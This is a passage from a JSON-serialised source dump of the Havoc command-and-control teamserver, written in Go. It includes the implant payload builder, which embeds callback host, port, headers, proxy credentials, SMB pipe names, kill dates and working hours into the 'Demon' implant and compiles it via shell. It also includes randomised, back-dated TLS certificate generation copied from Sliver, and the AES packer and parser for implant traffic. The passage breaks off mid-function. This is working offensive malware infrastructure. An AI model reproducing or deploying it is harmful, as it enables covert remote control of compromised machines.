\":\")\n\t\t\thost = HostPort[0]\n\t\t\tif len(HostPort) > 1 {\n\t\t\t\t/* seems like we specified host:port */\n\t\t\t\tlogger.Debug(\"host:port\")\n\n\t\t\t\tvar (\n\t\t\t\t\tHost = HostPort[0]\n\t\t\t\t\tPort int\n\t\t\t\t)\n\n\t\t\t\tif val, err := strconv.Atoi(HostPort[1]); err == nil {\n\t\t\t\t\tPort = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Error(\"Failed convert Port string to int: \" + err.Error())\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\t/* Adding Host:Port */\n\t\t\t\tDemonConfig.AddWString(common.GetInterfaceIpv4Addr(Host))\n\t\t\t\tDemonConfig.AddInt(Port)\n\t\t\t} else {\n\t\t\t\t/* seems like we specified host only. append the listener bind port to it */\n\t\t\t\tlogger.Debug(\"host only\")\n\n\t\t\t\t/* Adding Host:Port */\n\t\t\t\tDemonConfig.AddWString(common.GetInterfaceIpv4Addr(HostPort[0]))\n\t\t\t\tDemonConfig.AddInt(Port)\n\t\t\t}\n\t\t}\n\n\t\tif Config.Config.Secure {\n\t\t\tDemonConfig.AddInt(win32.TRUE)\n\t\t} else {\n\t\t\tDemonConfig.AddInt(win32.FALSE)\n\t\t}\n\t\tDemonConfig.AddWString(Config.Config.UserAgent)\n\n\t\tif len(Config.Config.Headers) == 0 {\n\t\t\tif len(Config.Config.HostHeader) > 0 {\n\t\t\t\tDemonConfig.AddInt(2)\n\t\t\t\tDemonConfig.AddWString(\"Content-type: */*\")\n\t\t\t\tDemonConfig.AddWString(\"Host: \" + Config.Config.HostHeader)\n\t\t\t} else {\n\t\t\t\tDemonConfig.AddInt(1)\n\t\t\t\tDemonConfig.AddWString(\"Content-type: */*\")\n\t\t\t}\n\t\t} else {\n\t\t\tif len(Config.Config.HostHeader) > 0 {\n\t\t\t\tConfig.Config.Headers = append(Config.Config.Headers, \"Host: \"+Config.Config.HostHeader)\n\t\t\t}\n\n\t\t\tDemonConfig.AddInt(len(Config.Config.Headers))\n\t\t\tfor _, headers := range Config.Config.Headers {\n\t\t\t\tlogger.Debug(headers)\n\t\t\t\tDemonConfig.AddWString(headers)\n\t\t\t}\n\t\t}\n\n\t\tif len(Config.Config.Uris) == 0 {\n\t\t\tDemonConfig.AddInt(1)\n\t\t\tDemonConfig.AddWString(\"/\")\n\t\t} else {\n\t\t\tDemonConfig.AddInt(len(Config.Config.Uris))\n\t\t\tfor _, uri := range Config.Config.Uris {\n\t\t\t\tlogger.Debug(uri)\n\t\t\t\tDemonConfig.AddWString(uri)\n\t\t\t}\n\t\t}\n\n\t\t// adding proxy connection info\n\t\tif Config.Config.Proxy.Enabled {\n\t\t\tDemonConfig.AddInt(win32.TRUE)\n\t\t\tvar ProxyUrl = fmt.Sprintf(\"%v://%v:%v\", Config.Config.Proxy.Type, Config.Config.Proxy.Host, Config.Config.Proxy.Port)\n\n\t\t\tDemonConfig.AddWString(ProxyUrl)\n\t\t\tDemonConfig.AddWString(Config.Config.Proxy.Username)\n\t\t\tDemonConfig.AddWString(Config.Config.Proxy.Password)\n\t\t} else {\n\t\t\tDemonConfig.AddInt(win32.FALSE)\n\t\t}\n\n\t\tbreak\n\n\tcase handlers.LISTENER_PIVOT_SMB:\n\t\tvar Config = b.config.ListenerConfig.(*handlers.SMB)\n\n\t\tDemonConfig.AddWString(\"\\\\\\\\.\\\\pipe\\\\\" + Config.Config.PipeName)\n\n\t\tDemonConfig.AddInt64(Config.Config.KillDate)\n\n\t\tWorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to parse the WorkingHours: \" + err.Error())\n\t\t\treturn nil, err\n\t\t}\n\n\t\tDemonConfig.AddInt32(WorkingHours)\n\n\t\tbreak\n\t}\n\n\t//logger.Debug(\"DemonConfig:\\n\" + hex.Dump(DemonConfig.Buffer()))\n\n\treturn DemonConfig.Buffer(), nil\n}\n\nfunc (b *Builder) GetPayloadBytes() []byte {\n\n\tif len(b.preBytes) > 0 {\n\t\tb.SendConsoleMessage(\"Good\", \"payload generated\")\n\t\treturn b.preBytes\n\t}\n\n\tvar (\n\t\tFileBuffer []byte\n\t\terr        error\n\t)\n\n\tif b.outputPath == \"\" {\n\t\tlogger.Error(\"Output Path is empty\")\n\t\tif !b.silent {\n\t\t\tb.SendConsoleMessage(\"Error\", \"output Path is empty\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tFileBuffer, err = os.ReadFile(b.outputPath)\n\tif err != nil {\n\t\tlogger.Error(\"Couldn't read content of file: \" + err.Error())\n\t\tif !b.silent {\n\t\t\tb.SendConsoleMessage(\"Error\", \"couldn't read content of file: \"+err.Error())\n\t\t}\n\t\treturn nil\n\t}\n\n\tif b.PatchBinary {\n\t\tFileBuffer = b.Patch(FileBuffer)\n\t}\n\n\tif !b.silent {\n\t\tb.SendConsoleMessage(\"Good\", \"payload generated\")\n\t}\n\n\treturn FileBuffer\n}\n\nfunc (b *Builder) Cmd(cmd string) bool {\n\tvar (\n\t\tCommand = exec.Command(\"sh\", \"-c\", cmd)\n\t\tstdout  bytes.Buffer\n\t\tstderr  bytes.Buffer\n\t\terr     error\n\t)\n\n\tCommand.Dir = b.sourcePath\n\tCommand.Stdout = &stdout\n\tCommand.Stderr = &stderr\n\n\terr = Command.Run()\n\tif err != nil {\n\t\tlogger.Error(\"Couldn't compile implant: \" + err.Error())\n\t\tif !b.silent {\n\t\t\tb.SendConsoleMessage(\"Error\", \"couldn't compile implant: \"+err.Error())\n\t\t\tb.SendConsoleMessage(\"Error\", \"compile output: \"+stderr.String())\n\t\t}\n\t\tlogger.Debug(cmd)\n\t\tlogger.Debug(\"StdErr:\\n\" + stderr.String())\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc (b *Builder) CompileCmd(cmd string) bool {\n\n\tif b.Cmd(cmd) {\n\t\tif !b.silent {\n\t\t\tb.SendConsoleMessage(\"Info\", \"finished compiling source\")\n\t\t}\n\t\treturn true\n\t}\n\n\treturn false\n}\n\nfunc (b *Builder) GetListenerDefines() []string {\n\tvar defines []string\n\n\tswitch b.config.ListenerType {\n\n\tcase handlers.LISTENER_HTTP:\n\n\t\tdefines = append(defines, \"TRANSPORT_HTTP\")\n\t\tbreak\n\n\tcase handlers.LISTENER_PIVOT_SMB:\n\n\t\tdefines = append(defines, \"TRANSPORT_SMB\")\n\t\tbreak\n\n\t}\n\n\treturn defines\n}\n\nfunc (b *Builder) DeletePayload() {\n\tb.FilesCreated = append(b.FilesCreated, b.outputPath)\n\tb.FilesCreated = append(b.FilesCreated, b.CompileDir)\n\tfor _, FileCreated := range b.FilesCreated {\n\t\tif strings.HasSuffix(FileCreated, \".bin\") == false {\n\t\t\tif err := os.Remove(FileCreated); err != nil {\n\t\t\t\tlogger.Debug(\"Couldn't remove \" + FileCreated + \": \" + err.Error())\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/common/certs/https.go",
    "content": "package certs\n\n// Copied from Silver C2: https://github.com/BishopFox/sliver/blob/master/server/certs/https.go\n\nimport (\n    \"bytes\"\n    \"crypto/ecdsa\"\n    \"crypto/rand\"\n    \"crypto/rsa\"\n    \"crypto/x509\"\n    \"crypto/x509/pkix\"\n    \"encoding/binary\"\n    \"encoding/pem\"\n    \"fmt\"\n    \"math/big\"\n    \"net\"\n    \"strings\"\n    \"time\"\n\n    \"Havoc/pkg/logger\"\n\n    insecureRand \"math/rand\"\n)\n\nconst (\n    // HTTPSCA - Directory containing operator certificates\n    HTTPSCA = \"https\"\n\n    // RSAKeySize - Default size of RSA keys in bits\n    RSAKeySize = 2048 // This is plenty 4096 is overkill\n\n    // Certs are valid for ~3 Years, minus up to 1 year from Now()\n    validFor = 3 * (365 * 24 * time.Hour)\n\n    // ECCKey - Namespace for ECC keys\n    ECCKey = \"ecc\"\n\n    // RSAKey - Namespace for RSA keys\n    RSAKey = \"rsa\"\n)\n\nvar (\n    // State -> Localities -> Street Addresses\n    states = map[string]map[string][]string{\n        \"\": {\n            \"\": {\"\"},\n        },\n        \"Arizona\": {\n            \"Phoenix\":    {\"\"},\n            \"Mesa\":       {\"\"},\n            \"Scottsdale\": {\"\"},\n            \"Chandler\":   {\"\"},\n        },\n        \"California\": {\n            \"San Francisco\": {\"\", \"Golden Gate Bridge\"},\n            \"Oakland\":       {\"\"},\n            \"Berkeley\":      {\"\"},\n            \"Palo Alto\":     {\"\"},\n            \"Los Angeles\":   {\"\"},\n            \"San Diego\":     {\"\"},\n            \"San Jose\":      {\"\"},\n        },\n        \"Colorado\": {\n            \"Denver\":       {\"\"},\n            \"Boulder\":      {\"\"},\n            \"Aurora\":       {\"\"},\n            \"Fort Collins\": {\"\"},\n        },\n        \"Connecticut\": {\n            \"New Haven\":  {\"\"},\n            \"Bridgeport\": {\"\"},\n            \"Stamford\":   {\"\"},\n            \"Norwalk\":    {\"\"},\n        },\n        \"Washington\": {\n            \"Seattle\": {\"\"},\n            \"Tacoma\":  {\"\"},\n            \"Olympia\": {\"\"},\n            \"Spokane\": {\"\"},\n        },\n        \"Florida\": {\n            \"Miami\":        {\"\"},\n            \"Orlando\":      {\"\"},\n            \"Tampa\":        {\"\"},\n            \"Jacksonville\": {\"\"},\n        },\n        \"Illinois\": {\n            \"Chicago\":    {\"\"},\n            \"Aurora\":     {\"\"},\n            \"Naperville\": {\"\"},\n            \"Peoria\":     {\"\"},\n        },\n    }\n\n    orgNames = []string{\n        \"\",\n        \"ACME\",\n        \"Partners\",\n        \"Tech\",\n        \"Cloud\",\n        \"Synergy\",\n        \"Test\",\n        \"Debug\",\n    }\n    orgSuffixes = []string{\n        \"\",\n        \"co\",\n        \"llc\",\n        \"inc\",\n        \"corp\",\n        \"ltd\",\n    }\n)\n\nfunc randomState() string {\n    keys := make([]string, 0, len(states))\n    for k := range states {\n        keys = append(keys, k)\n    }\n    return keys[insecureRand.Intn(len(keys))]\n}\n\nfunc randomLocality(state string) string {\n    locales := states[state]\n    keys := make([]string, 0, len(locales))\n    for k := range locales {\n        keys = append(keys, k)\n    }\n    return keys[insecureRand.Intn(len(keys))]\n}\n\nfunc randomStreetAddress(state string, locality string) string {\n    addresses := states[state][locality]\n    return addresses[insecureRand.Intn(len(addresses))]\n}\n\nfunc randomProvinceLocalityStreetAddress() ([]string, []string, []string) {\n    state := randomState()\n    locality := randomLocality(state)\n    streetAddress := randomStreetAddress(state, locality)\n    return []string{state}, []string{locality}, []string{streetAddress}\n}\n\nfunc randomPostalCode() []string {\n    switch insecureRand.Intn(1) {\n    case 0:\n        return []string{fmt.Sprintf(\"%d\", insecureRand.Intn(8000)+1000)}\n    default:\n        return []string{}\n    }\n}\n\nfunc randomSubject(commonName string) *pkix.Name {\n    province, locale, street := randomProvinceLocalityStreetAddress()\n    return &pkix.Name{\n        Organization:  randomOrganization(),\n        Country:       []string{\"US\"},\n        Province:      province,\n        Locality:      locale,\n        StreetAddress: street,\n        PostalCode:    randomPostalCode(),\n        CommonName:    commonName,\n    }\n}\n\nfunc randomOrganization() []string {\n    name := orgNames[insecureRand.Intn(len(orgNames))]\n    suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]\n    switch insecureRand.Intn(4) {\n    case 0:\n        return []string{strings.TrimSpace(strings.ToLower(name + \" \" + suffix))}\n    case 1:\n        return []string{strings.TrimSpace(strings.ToUpper(name + \" \" + suffix))}\n    case 2:\n        return []string{strings.TrimSpace(strings.Title(fmt.Sprintf(\"%s %s\", name, suffix)))}\n\n    default:\n        return []string{}\n    }\n}\n\nfunc publicKey(priv interface{}) interface{} {\n    switch k := priv.(type) {\n    case *rsa.PrivateKey:\n        return &k.PublicKey\n    case *ecdsa.PrivateKey:\n        return &k.PublicKey\n    default:\n        return nil\n    }\n}\n\nfunc randomInt(max int) int {\n    buf := make([]byte, 4)\n    rand.Read(buf)\n    i := binary.LittleEndian.Uint32(buf)\n    return int(i) % max\n}\n\nfunc pemBlockForKey(priv interface{}) *pem.Block {\n    switch key := priv.(type) {\n    case *rsa.PrivateKey:\n        data := x509.MarshalPKCS1PrivateKey(key)\n        return &pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: data}\n    case *ecdsa.PrivateKey:\n        data, err := x509.MarshalECPrivateKey(key)\n        if err != nil {\n            logger.Fatal(fmt.Sprintf(\"Unable to marshal ECDSA private key: %v\", err))\n        }\n        return &pem.Block{Type: \"EC PRIVATE KEY\", Bytes: data}\n    default:\n        return nil\n    }\n}\n\nfunc generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) {\n\n    // Valid times, subtract random days from .Now()\n    notBefore := time.Now()\n    days := randomInt(365) * -1 // Within -1 year\n    notBefore = notBefore.AddDate(0, 0, days)\n    notAfter := notBefore.Add(validFor)\n    logger.Debug(fmt.Sprintf(\"Valid from %v to %v\", notBefore, notAfter))\n\n    // Serial number\n    serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)\n    serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit)\n    logger.Debug(fmt.Sprintf(\"Serial Number: %d\", serialNumber))\n\n    var keyUsage = x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature\n    var extKeyUsage []x509.ExtKeyUsage\n\n    if isCA {\n        logger.Debug(\"Authority certificate\")\n        keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature\n        extKeyUsage = []x509.ExtKeyUsage{\n            x509.ExtKeyUsageServerAuth,\n            x509.ExtKeyUsageClientAuth,\n        }\n    } else if isClient {\n        logger.Debug(\"Client authentication certificate\")\n        extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}\n    } else {\n        logger.Debug(\"Server authentication certificate\")\n        extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}\n    }\n    logger.Debug(fmt.Sprintf(\"ExtKeyUsage = %v\", extKeyUsage))\n\n    // Certificate template\n    template := x509.Certificate{\n        SerialNumber:          serialNumber,\n        Subject:               subject,\n        NotBefore:             notBefore,\n        NotAfter:              notAfter,\n        KeyUsage:              keyUsage,\n        ExtKeyUsage:           extKeyUsage,\n        BasicConstraintsValid: isCA,\n    }\n\n    if !isClient {\n        // Host or IP address\n        if ip := net.ParseIP(subject.CommonName); ip != nil {\n            logger.Debug(fmt.Sprintf(\"Certificate authenticates IP address: %v\", ip))\n            template.IPAddresses = append(template.IPAddresses, ip)\n        } else {\n            logger.Debug(fmt.Sprintf(\"Certificate authenticates host: %v\", subject.CommonName))\n            template.DNSNames = append(template.DNSNames, subject.CommonName)\n        }\n    } else {\n        logger.Debug(fmt.Sprintf(\"Client certificate authenticates CN: %v\", subject.CommonName))\n    }\n\n    // Sign certificate or self-sign if CA\n    var certErr error\n    var derBytes []byte\n\n    if isCA {\n        logger.Debug(\"Certificate is an AUTHORITY\")\n        template.IsCA = true\n        template.KeyUsage |= x509.KeyUsageCertSign\n        derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)\n    }\n\n    if certErr != nil {\n        // We maybe don't want this to be fatal, but it should basically never happen afaik\n        logger.Fatal(fmt.Sprintf(\"Failed to create certificate: %s\", certErr))\n    }\n\n    // Encode certificate and key\n    certOut := bytes.NewBuffer([]byte{})\n    pem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: derBytes})\n\n    keyOut := bytes.NewBuffer([]byte{})\n    pem.Encode(keyOut, pemBlockForKey(privateKey))\n\n    return certOut.Bytes(), keyOut.Bytes()\n}\n\n// HTTPSGenerateRSACertificate - Generate a server certificate signed with a given CA\nfunc HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {\n    logger.Debug(fmt.Sprintf(\"Generating TLS certificate (RSA) for '%s' ...\", host))\n\n    var privateKey interface{}\n    var err error\n\n    // Generate private key\n    privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)\n    if err != nil {\n        logger.Debug(\"Failed to generate private key %s\", err)\n        return nil, nil, err\n    }\n    subject := randomSubject(host)\n    cert, key := generateCertificate(HTTPSCA, (*subject), true, false, privateKey)\n    // err = saveCertificate(HTTPSCA, RSAKey, host, cert, key)\n    return cert, key, err\n}\n"
  },
  {
    "path": "teamserver/pkg/common/crypt/aes.go",
    "content": "package crypt\n\nimport (\n    \"crypto/aes\"\n    \"crypto/cipher\"\n\n    \"Havoc/pkg/logger\"\n)\n\nfunc XCryptBytesAES256(XBytes []byte, AESKey []byte, AESIv []byte) []byte {\n    var (\n        ReverseXBytes = make([]byte, len(XBytes))\n    )\n\n    block, err := aes.NewCipher(AESKey)\n    if err != nil {\n        logger.Error(\"Decryption Error: \" + err.Error())\n        return []byte{}\n    }\n\n    stream := cipher.NewCTR(block, AESIv)\n    stream.XORKeyStream(ReverseXBytes, XBytes)\n\n    return ReverseXBytes\n}"
  },
  {
    "path": "teamserver/pkg/common/packer/packer.go",
    "content": "package packer\n\nimport (\n    \"bytes\"\n    \"encoding/binary\"\n\n    \"Havoc/pkg/common\"\n    \"Havoc/pkg/common/crypt\"\n    \"Havoc/pkg/logger\"\n)\n\n// TODO: rework this\n\ntype Packer struct {\n    data []byte\n    size int\n\n    AesKey []byte\n    AesIV  []byte\n}\n\nfunc NewPacker(AesKey, AesIV []byte) *Packer {\n    var packer = new(Packer)\n    packer.AesKey = AesKey\n    packer.AesIV = AesIV\n    return packer\n}\n\nfunc (p *Packer) AddInt64(data int64) {\n    var buffer = make([]byte, 8)\n    binary.LittleEndian.PutUint64(buffer, uint64(data))\n    p.data = append(p.data, buffer...)\n\n    p.size += 8\n}\n\nfunc (p *Packer) AddInt32(data int32) {\n    var buffer = make([]byte, 4)\n    binary.LittleEndian.PutUint32(buffer, uint32(data))\n    p.data = append(p.data, buffer...)\n\n    p.size += 4\n}\n\nfunc (p *Packer) AddInt(data int) {\n    var buffer = make([]byte, 4)\n    binary.LittleEndian.PutUint32(buffer, uint32(data))\n    p.data = append(p.data, buffer...)\n\n    p.size += 4\n}\n\n// AddUInt32 use a much as possible this function\nfunc (p *Packer) AddUInt32(data uint32) {\n    var buffer = make([]byte, 4)\n    binary.LittleEndian.PutUint32(buffer, data)\n    p.data = append(p.data, buffer...)\n\n    p.size += 4\n}\n\nfunc (p *Packer) AddString(data string) {\n    p.AddBytes(common.EncodeUTF8(data))\n}\n\nfunc (p *Packer) AddWString(data string) {\n    p.AddBytes(common.EncodeUTF16(data))\n}\n\nfunc (p *Packer) AddBytes(data []byte) {\n    var buffer = make([]byte, 4)\n    binary.LittleEndian.PutUint32(buffer, uint32(len(data)))\n    p.data = append(p.data, buffer...)\n    p.data = append(p.data, data...)\n\n    p.size += 4\n    p.size += len(data)\n}\n\nfunc (p *Packer) Build() []byte {\n    var Temp = make([]byte, 32)\n\n    if bytes.Compare(p.AesKey, Temp) == 0 {\n        return p.data\n    }\n\n    logger.Debug(\"No Aes Key specified\")\n    if (p.AesKey != nil) || (p.AesIV != nil) {\n        p.data = crypt.XCryptBytesAES256(p.data, p.AesKey, p.AesIV)\n    }\n\n    return p.data\n}\n\nfunc (p *Packer) Buffer() []byte {\n    return p.data\n}\n\nfunc (p *Packer) Size() int {\n    return p.size\n}\n\nfunc (p *Packer) AddOwnSizeFirst() {\n    var oldData = p.data\n    p.AddInt(len(oldData))\n    p.AddBytes(oldData)\n\n    p.size += 4\n}\n"
  },
  {
    "path": "teamserver/pkg/common/parser/parser.go",
    "content": "package parser\n\nimport (\n\t\"encoding/binary\"\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/common/crypt\"\n)\n\ntype ReadType int\n\nconst (\n\tReadInt32 ReadType = iota\n\tReadInt64\n\tReadBytes\n\tReadPointer\n\tReadBool\n)\n\ntype Parser struct {\n\tbuffer    []byte\n\tbigEndian bool\n}\n\nfunc NewParser(buffer []byte) *Parser {\n\tvar parser = new(Parser)\n\tparser.buffer = buffer\n\tparser.bigEndian = true\n\treturn parser\n}\n\nfunc (p *Parser) CanIRead(ReadTypes []ReadType) bool {\n\tinteger   := make([]byte, 4)\n\tnumber    := 0\n\tBytesRead := 0\n\tTotalSize := p.Length()\n\t\n\tfor _, Type := range ReadTypes {\n\t\tswitch Type {\n\t\tcase ReadInt32:\n\t\t\tif TotalSize - BytesRead < 4 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tBytesRead += 4\n\t\tcase ReadInt64:\n\t\t\tif TotalSize - BytesRead < 8 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tBytesRead += 8\n\t\tcase ReadPointer:\n\t\t\tif TotalSize - BytesRead < 8 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tBytesRead += 8\n\t\tcase ReadBool:\n\t\t\tif TotalSize - BytesRead < 4 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tBytesRead += 4\n\t\tcase ReadBytes:\n\t\t\tif TotalSize - BytesRead < 4 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor i := range integer {\n\t\t\t\tinteger[i] = 0\n\t\t\t}\n\t\t\tcopy(integer, p.buffer[BytesRead:BytesRead+4])\n\t\t\tif p.bigEndian {\n\t\t\t\tnumber = int(binary.BigEndian.Uint32(integer))\n\t\t\t} else {\n\t\t\t\tnumber = int(binary.LittleEndian.Uint32(integer))\n\t\t\t}\n\t\t\tBytesRead += 4\n\t\t\tif TotalSize - BytesRead < number {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tBytesRead += number\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (p *Parser) ParseInt32() int {\n\tvar integer = make([]byte, 4)\n\n\tfor i := range integer {\n\t\tinteger[i] = 0\n\t}\n\n\tif p.Length() >= 4 {\n\t\tif p.Length() == 4 {\n\t\t\tcopy(integer, p.buffer[:p.Length()])\n\t\t\tp.buffer = []byte{}\n\t\t} else {\n\t\t\tcopy(integer, p.buffer[:p.Length()-4])\n\t\t\tp.buffer = p.buffer[4:]\n\t\t}\n\t}\n\n\tif p.bigEndian {\n\t\treturn int(binary.BigEndian.Uint32(integer))\n\t} else {\n\t\treturn int(binary.LittleEndian.Uint32(integer))\n\t}\n}\n\nfunc (p *Parser) ParseInt64() int64 {\n\tvar integer = make([]byte, 8)\n\n\tfor i := range integer {\n\t\tinteger[i] = 0\n\t}\n\n\tif p.Length() >= 8 {\n\t\tif p.Length() == 8 {\n\t\t\tcopy(integer, p.buffer[:p.Length()])\n\t\t\tp.buffer = []byte{}\n\t\t} else {\n\t\t\tcopy(integer, p.buffer[:p.Length()-8])\n\t\t\tp.buffer = p.buffer[8:]\n\t\t}\n\t}\n\n\tif p.bigEndian {\n\t\treturn int64(binary.BigEndian.Uint64(integer))\n\t} else {\n\t\treturn int64(binary.LittleEndian.Uint64(integer))\n\t}\n}\n\nfunc (p *Parser) ParseBool() bool {\n\tvar integer = make([]byte, 4)\n\n\tfor i := range integer {\n\t\tinteger[i] = 0\n\t}\n\n\tif p.Length() >= 4 {\n\t\tif p.Length() == 4 {\n\t\t\tcopy(integer, p.buffer[:p.Length()])\n\t\t\tp.buffer = []byte{}\n\t\t} else {\n\t\t\tcopy(integer, p.buffer[:p.Length()-4])\n\t\t\tp.buffer = p.buffer[4:]\n\t\t}\n\t}\n\n\tif p.bigEndian {\n\t\treturn int(binary.BigEndian.Uint32(integer)) != 0\n\t} else {\n\t\treturn int(binary.LittleEndian.Uint32(integer)) != 0\n\t}\n}\n\nfunc (p *Parser) ParsePointer() int64 {\n\treturn p.ParseInt64()\n}\n\nfunc (p *Parser) SetBigEndian(bigEndian bool) {\n\tp.bigEndian = bigEndian\n}\n\nfunc (p *Parser) ParseBytes() []byte {\n\tvar bytesBuffer []byte\n\n\tif p.Length() >= 4 {\n\t\tBytesSize := uint(p.ParseInt32())\n\t\tif BytesSize > uint(p.Length()) {\n\t\t\tbytesBuffer, p.buffer = p.buffer[:p.Length()], p.buffer[p.Length():]\n\t\t} else {\n\t\t\tbytesBuffer, p.buffer = p.buffer[:BytesSize], p.buffer[BytesSize:]\n\t\t}\n\t}\n\n\treturn bytesBuffer\n}\n\nfunc (p *Parser) ParseAtLeastBytes(NumberOfBytes int) []byte {\n\tvar bytesBuffer []byte\n\n\tif NumberOfBytes > p.Length() {\n\t\tbytesBuffer, p.buffer = p.buffer[:len(p.buffer)], p.buffer[len(p.buffer):]\n\t} else {\n\t\tbytesBuffer, p.buffer = p.buffer[:NumberOfBytes], p.buffer[NumberOfBytes:]\n\t}\n\n\treturn bytesBuffer\n}\n\nfunc (p *Parser) ParseUTF16String() string {\n\treturn common.StripNull(common.DecodeUTF16(p.ParseBytes()))\n}\n\nfunc (p *Parser) ParseString() string {\n\treturn common.StripNull(string(p.ParseBytes()))\n}\n\nfunc (p *Parser) Length() int {\n\treturn len(p.buffer)\n}\n\nfunc (p *Parser) Buffer() []byte {\n\treturn p.buffer\n}\n\nfunc (p *Parser) DecryptBuffer(AESKey []byte, AESIv []byte) {\n\tp.buffer = crypt.XCryptBytesAES256(p.buffer, AESKey, AESIv)\n}\n"
  },
  {
    "path": "teamserver/pkg/common/util.go",
    "content": "package common\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"image/png\"\n\t\"time\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net\"\n\t\"strconv\"\n\t\"unicode/utf16\"\n\t\"unicode/utf8\"\n\t\"regexp\"\n\t\"errors\"\n\t\"strings\"\n\n\t\"Havoc/pkg/logger\"\n\n\t\"golang.org/x/image/bmp\"\n\t\"golang.org/x/text/encoding/unicode\"\n)\n\nfunc ParseWorkingHours(WorkingHours string) (int32, error) {\n\t/*\n\t * The working hours are packed in a uint32\n\t * X: enabled or not\n\t * A: start hour\n\t * B: start minute\n\t * C: end hour\n\t * D: end minute\n\t *          XAAAAABBBBBBCCCCCDDDDDD\n\t * 00000000010000011111100000111111\n\t * ------------32 bits-------------\n\t */\n\t var (\n\t \tIntWorkingHours int32 = 0\n\t )\n\n\tif WorkingHours != \"\" {\n\t\tmatch, err := regexp.MatchString(\"^[12]?[0-9]:[0-6][0-9]-[12]?[0-9]:[0-6][0-9]$\", WorkingHours)\n\t\tif err != nil || match == false {\n\t\t\treturn IntWorkingHours, errors.New(\"Failed to parse the WorkingHours: Invalid format for working hours, use: 8:00-17:00\")\n\t\t}\n\n\t\tstartAndEnd         := strings.Split(WorkingHours, \"-\")\n\t\tstartHourandMinutes := strings.Split(startAndEnd[0], \":\")\n\t\tendHourandMinutes   := strings.Split(startAndEnd[1], \":\")\n\n\t\tstartHour, _ := strconv.Atoi(startHourandMinutes[0])\n\t\tstartMin , _ := strconv.Atoi(startHourandMinutes[1])\n\t\tendHour,   _ := strconv.Atoi(endHourandMinutes[0])\n\t\tendMin,    _ := strconv.Atoi(endHourandMinutes[1])\n\n\t\tif startHour < 0 || startHour > 24 || endHour < 0 || endHour > 24 || startMin < 0 || startMin > 60 || endMin < 0 || endMin > 60 {\n\t\t\treturn IntWorkingHours, errors.New(\"Failed to parse the WorkingHours: Invalid hour or minute defined in working hours\")\n\t\t}\n\n\t\tif endHour < startHour || (startHour == endHour && endMin <= startMin) {\n\t\t\treturn IntWorkingHours, errors.New(\"Failed to parse the WorkingHours: Then end hour can't be sooner than the start hour\")\n\t\t}\n\n\t\t// set the \"enabled\" bit\n\t\tIntWorkingHours |= 1 << 22\n\t\tIntWorkingHours |= (int32(startHour) & 0b011111) << 17\n\t\tIntWorkingHours |= (int32(startMin)  & 0b111111) << 11\n\t\tIntWorkingHours |= (int32(endHour)   & 0b011111) << 6\n\t\tIntWorkingHours |= (int32(endMin)    & 0b111111) << 0\n\t}\n\n\treturn IntWorkingHours, nil\n}\n\nfunc Bmp2Png(BmpBytes []byte) []byte {\n\tvar (\n\t\tf     io.Writer\n\t\tBytes bytes.Buffer\n\t)\n\n\tf = bufio.NewWriter(&Bytes)\n\n\tImage, err := bmp.Decode(bytes.NewReader(BmpBytes))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to decode bmp: \" + err.Error())\n\t\treturn nil\n\t}\n\n\terr = png.Encode(f, Image)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to write png file: \" + err.Error())\n\t\treturn nil\n\t}\n\n\treturn Bytes.Bytes()\n}\n\nfunc DecodeUTF16(b []byte) string {\n\tvar (\n\t\tu16s  = make([]uint16, 1)\n\t\tb8buf = make([]byte, 4)\n\t\tret   = &bytes.Buffer{}\n\t)\n\n\tlb := len(b)\n\n\tfor i := 0; i < lb; i += 2 {\n\t\tu16s[0] = uint16(b[i]) + (uint16(b[i+1]) << 8)\n\t\tr := utf16.Decode(u16s)\n\t\tn := utf8.EncodeRune(b8buf, r[0])\n\t\tret.Write(b8buf[:n])\n\t}\n\n\treturn ret.String()\n}\n\nfunc EncodeUTF16(s string) []byte {\n\tvar err error\n\n\t// in C, strings terminate with a null-byte\n\tif strings.HasSuffix(s, \"\\x00\") == false {\n\t\ts += \"\\x00\"\n\t}\n\tuni := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM)\n\tencoded, err := uni.NewEncoder().String(s)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to convert UTF8 to UTF16\")\n\t\treturn []byte(\"\")\n\t}\n\n\treturn []byte(encoded)\n}\n\nfunc EncodeUTF8(s string) []byte {\n\t// in C, strings terminate with a null-byte\n\tif strings.HasSuffix(s, \"\\x00\") == false {\n\t\ts += \"\\x00\"\n\t}\n\n\treturn []byte(s)\n}\n\nfunc ByteCountSI(b int64) string {\n\tconst unit = 1000\n\tif b < unit {\n\t\treturn fmt.Sprintf(\"%d B\", 